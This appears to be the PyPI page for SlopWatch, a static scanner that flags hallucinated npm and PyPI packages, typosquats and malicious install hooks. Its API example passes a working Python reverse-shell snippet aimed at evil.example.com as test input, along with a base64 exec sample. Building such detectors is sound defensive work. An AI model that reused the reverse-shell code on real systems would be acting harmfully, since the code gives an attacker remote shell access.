🛡️ SlopWatch: Zero-LLM AI Hallucination & Supply Chain Threat Auditor
SlopWatch is a fast, deterministic supply chain security scanner for Python (PyPI) and JavaScript (npm) packages and lockfiles.
Zero-LLM · 200ms Scans · Zero API Keys · Runs Offline
Designed for developers, CI/CD pipelines, and autonomous coding agents, SlopWatch protects against AI package hallucinations (when an LLM invents a plausible package name that an attacker registers) and install-time execution traps (setup.py hooks, .pth startup implants, npm lifecycle scripts) before dependencies touch your machine.
Live Audits: SlopWatch was developed for the FlagThis website. A working live demonstration that performs live supply chain audits and threat intelligence indexing is available at FlagThis.com.
# ⚡ Try it in 10 seconds (no config, no API keys)
pip install slopwatch
slopwatch check # auto-discovers and checks all manifests in project
slopwatch audit . # inspect local manifests and source files
⚡ Highlights & Key Capabilities
- Zero-LLM Core Engine: Fully deterministic execution via Python AST inspection, YARA signature scanning, and combinatorial heuristics. Zero probabilistic variance, zero external API costs, and sub-millisecond execution.
- Deep Static AST Inspection: Statically deconstructs Python
setup.py,pyproject.toml, and module source code without dynamic code execution—detecting hidden reverse shells, raw sockets, eval-obfuscation, and child process execution. - npm Lifecycle Script Analysis: Analyzes
package.jsonhooks (preinstall,install,postinstall) and unpacks JS payloads for suspicious network exfiltration. - Pre-Compiled YARA Threat Engine: Built-in YARA rules spanning 9 weaponization vectors: credentials, exfiltration, evasion, persistence, supply-chain hooks, and dropper logic.
- Phantom Squatting & Typosquat Detection: Identifies impersonations of high-value brands (Google, AWS, Stripe, Okta, Clerk, Supabase) using Levenshtein distance, token insertion, and delimiter swap heuristics.
- AI Hallucination & Package Parking Auditor: Scans project lockfiles and manifests (
requirements.txt,package.json) to detect hallucinated package names frequently recommended by LLMs that do not exist or are parked by adversaries. - Version Confusion Anomaly Detection: Surfaces suspicious version jumps (e.g. initial registrations claiming v99.0.0 or v50.0.0) while safely handling legitimate CalVer and date-stamped releases.
🚀 Installation & Quickstart
Install directly via pip:
pip install slopwatch
System Prerequisites
SlopWatch uses yara-python for high-throughput compiled pattern matching. Most standard environments install pre-built wheels automatically. If installing in an environment requiring source compilation:
- macOS:
brew install yara
- Debian / Ubuntu:
sudo apt-get update && sudo apt-get install -y python3-dev gcc libssl-dev
- Alpine Linux:
apk add --no-cache python3-dev gcc musl-dev libffi-dev
Development Installation
To contribute or run from source:
git clone https://github.com/royans/slopwatch.git
cd slopwatch
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
pip install -e .
💻 CLI Quickstart
The slopwatch command-line interface provides fast, rich terminal feedback for auditing and inspecting packages.
0. Protect a Project in 1 Second (slopwatch init)
Automatically configure project security, install native git pre-commit hooks, and set up CI/CD:
slopwatch init
- Automatically detects workspace manifests (
requirements.txt,pyproject.toml,package.json). - Creates
.slopwatch.yaml(customizable allowlist & alert policies). - Installs native
.git/hooks/pre-commitso AI hallucinations can never be committed. - Installs
.github/workflows/slopwatch.ymlfor pull request auditing. - Runs an immediate baseline audit across all project dependencies.
1. Check Project Manifests for Hallucinations
Run slopwatch check to automatically discover and audit all dependency manifests in your project (Python & npm):
slopwatch check # auto-discovers and audits all project manifests
slopwatch check requirements.txt # or specify an individual file directly
slopwatch check ./backend # or audit a specific subproject directory
- Supported Manifests:
requirements*.txt,pyproject.toml,Pipfile,Pipfile.lock,poetry.lock,package.json,package-lock.json,yarn.lock,pnpm-lock.yaml. - What It Catches: Hallucinated package names (404s on public registry), brand typosquats, and unpinned direct VCS URLs.
2. Deep Static AST Inspection of an Upstream Package
Fetch and statically inspect any published PyPI or npm package without executing its code:
slopwatch inspect requests --ecosystem pypi
slopwatch inspect express --ecosystem npm
3. Statically Scan Local Code or Directory
Run the AST analyzer and YARA rule engine across any local Python or JavaScript file/directory:
slopwatch scan ./src
slopwatch scan setup.py
4. Comprehensive Directory Audit
Audit an entire project directory, checking source files and manifests simultaneously:
slopwatch audit .
5. Engine Diagnostics & Rule Status
View engine statistics, active YARA rule suites, and loaded parking signatures:
slopwatch info
6. CI/CD & Pre-Commit Integration
SlopWatch supports machine-readable output (--json) and Git pre-commit hooks for CI/CD pipelines:
# Emit structured JSON for CI security gates or dashboard ingestion
slopwatch check --json
slopwatch audit . --json
Add SlopWatch to your project's .pre-commit-config.yaml:
repos:
- repo: https://github.com/royans/slopwatch
rev: v0.1.0
hooks:
- id: slopwatch-check
- id: slopwatch-audit
⚙️ Configuration & Whitelisting
SlopWatch is zero-config by default, but supports fine-grained tuning via .slopwatch.yaml or pyproject.toml ([tool.slopwatch]):
- Whitelisting Private Packages (
allowlist): Permit internal company SDKs, private mirrors, or vetted direct VCS URLs. - Alert & Failure Thresholds (
fail_on): Control CI exit code behavior (CRITICAL,HIGH[default],MEDIUM,ANY). - Path Ignore Patterns (
ignore_paths): Exclude test fixtures, mock data, or documentation.
👉 Read the complete SlopWatch Configuration Guide for syntax examples, rubric tables, and CI/CD recipes.
🐍 Python API Usage
SlopWatch can also be integrated directly into your own security tools and CI/CD pipelines:
from slopwatch import YaraPatternScanner, PythonASTAssessor
# 1. Scan source code with the YARA threat engine
scanner = YaraPatternScanner()
matches = scanner.scan_text('''
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('evil.example.com', 4444))
os.dup2(s.fileno(), 0)
subprocess.call(['/bin/sh', '-i'])
''')
for match in matches:
print(f"Detected: {match['rule']}")
# 2. Deep static AST analysis
assessor = PythonASTAssessor()
result = assessor.analyze_source("import base64; exec(base64.b64decode('...'))")
print(f"Threat Score: {result.composite_threat_score}/100")
print(f"Verdict: {result.verdict}")
🏗️ Architecture
┌───────────────────────────────────────────────────────────┐
│ Target Input │
│ (Upstream Package Tarball, Manifest, or Local Source) │
└─────────────────────────────┬─────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────┐
│ Deterministic Analysis Pipeline │
│ │
│ [1] Manifest & Metadata Sizing │
│ - Non-comment LOC & Codebase Tiering │
│ - Publisher Domain Proof vs Free Webmail Domain │
│ │
│ [2] Static AST Deconstruction (Zero Dynamic Execution) │
│ - Python AST: setup.py / pyproject.toml hooks │
│ - npm: package.json install hooks & lifecycle scripts│
│ │
│ [3] Pre-Compiled YARA Engine │
│ - 9 Suites: Exfiltration, Shells, Persistence, etc. │
│ │
│ [4] Scoring & Classification Matrix │
│ - Normalized 0-1000 Threat Score │
│ - Verdicts: MALICIOUS | SUSPICIOUS | BENIGN │
└─────────────────────────────┬─────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────┐
│ Output: Structured JSON / Terminal CLI │
└─────────────────────────────┬─────────────────────────────┘
│
▼
(Live community audits indexed at https://flagthis.com)
🔒 What SlopWatch Is & What It Isn’t
We believe security tools should be radically honest about their boundaries rather than overcommitting on claims.
✅ What SlopWatch IS:
- A fast, deterministic first line of defense: Runs in milliseconds via Python AST, compiled YARA signatures, and Levenshtein distance trees.
- A detector for lazy automated weaponization: Catches install-time socket connects, reverse shells, child process spawns in
setup.py, malicious.pthstartup files, Discord webhook exfiltration, and npmpreinstallstealer payloads. - An auditor for AI package hallucinations: Checks whether packages suggested by Copilot, Cursor, or ChatGPT actually exist on PyPI/npm or are parked slopsquats waiting for a developer to run
pip install. - Respectful of maintainers: Community libraries with ordinary telemetry or standard system calls are evaluated as
BENIGN_COMMUNITYorUNVERIFIED_COMMUNITY. TheMALICIOUSverdict is strictly reserved for confirmed, active weaponization vectors.
❌ What SlopWatch IS NOT:
- Not an omniscient hypervisor sandbox: It performs zero dynamic code execution. It will not execute code in a VM or kernel sandbox to observe runtime behavior.
- Not a binary decompiler: If an attacker embeds compiled machine code inside a native
.so,.dylib, or.nodefile, SlopWatch flags the presence of unexpected native binaries (BUNDLED_NATIVE_BINARY), but it does not reverse-engineer the compiled C/Rust assembly. - Not a silver bullet: Static analysis is inherently an adversarial cat-and-mouse game. High-entropy custom runtime encoders or multi-stage split downloaders can be designed to evade static regex. SlopWatch catches the bulk of automated supply chain attacks instantly without the latency, cost, or prompt-injection vulnerabilities of LLMs.
🤝 Contributing
Contributions are welcome! Please run our pre-submit gatekeeper before opening a pull request:
# Install git hooks
./scripts/install_hooks.sh
# Run pre-submit checks manually
python3 scripts/presubmit.py
# Run test suite
pytest tests/ -v
📄 License
Licensed under the Apache License, Version 2.0.
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file slopwatch-0.1.0.tar.gz.
File metadata
- Download URL: slopwatch-0.1.0.tar.gz
- Upload date:
- Size: 164.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d1e5bdfae7bee78be31243e38a77b2580b7158043125c52ce59ea44a1b18bd1a
|
|
| MD5 |
6dd738480172c1bc281c293d63d9053b
|
|
| BLAKE2b-256 |
c9c78403f4ade8ca888b08363cdc1d092666adb3d78fe153d4f910bf620ecbb5
|
Provenance
The following attestation bundles were made for slopwatch-0.1.0.tar.gz:
Publisher:
publish.yml on royans/slopwatch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
slopwatch-0.1.0.tar.gz -
Subject digest:
d1e5bdfae7bee78be31243e38a77b2580b7158043125c52ce59ea44a1b18bd1a - Sigstore transparency entry: 2732631283
- Sigstore integration time:
-
Permalink:
royans/slopwatch@b40c98197c9634ee8af593fc4cc3ead38416390d -
Branch / Tag:
refs/heads/main - Owner: https://github.com/royans
-
Access:
private
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@b40c98197c9634ee8af593fc4cc3ead38416390d -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file slopwatch-0.1.0-py3-none-any.whl.
File metadata
- Download URL: slopwatch-0.1.0-py3-none-any.whl
- Upload date:
- Size: 130.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
31f58ddd33d495da1a3869f9af495d5a024598d6a1a5a64a37a0071753bce0b1
|
|
| MD5 |
c4bd93995638befcb5da9bc9f563f273
|
|
| BLAKE2b-256 |
e3cf8b862951f26fa2dc1323828c4416ba26c4a9eefb1156c71a490cef184dd3
|
Provenance
The following attestation bundles were made for slopwatch-0.1.0-py3-none-any.whl:
Publisher:
publish.yml on royans/slopwatch
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
slopwatch-0.1.0-py3-none-any.whl -
Subject digest:
31f58ddd33d495da1a3869f9af495d5a024598d6a1a5a64a37a0071753bce0b1 - Sigstore transparency entry: 2732631335
- Sigstore integration time:
-
Permalink:
royans/slopwatch@b40c98197c9634ee8af593fc4cc3ead38416390d -
Branch / Tag:
refs/heads/main - Owner: https://github.com/royans
-
Access:
private
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@b40c98197c9634ee8af593fc4cc3ead38416390d -
Trigger Event:
workflow_dispatch
-
Statement type: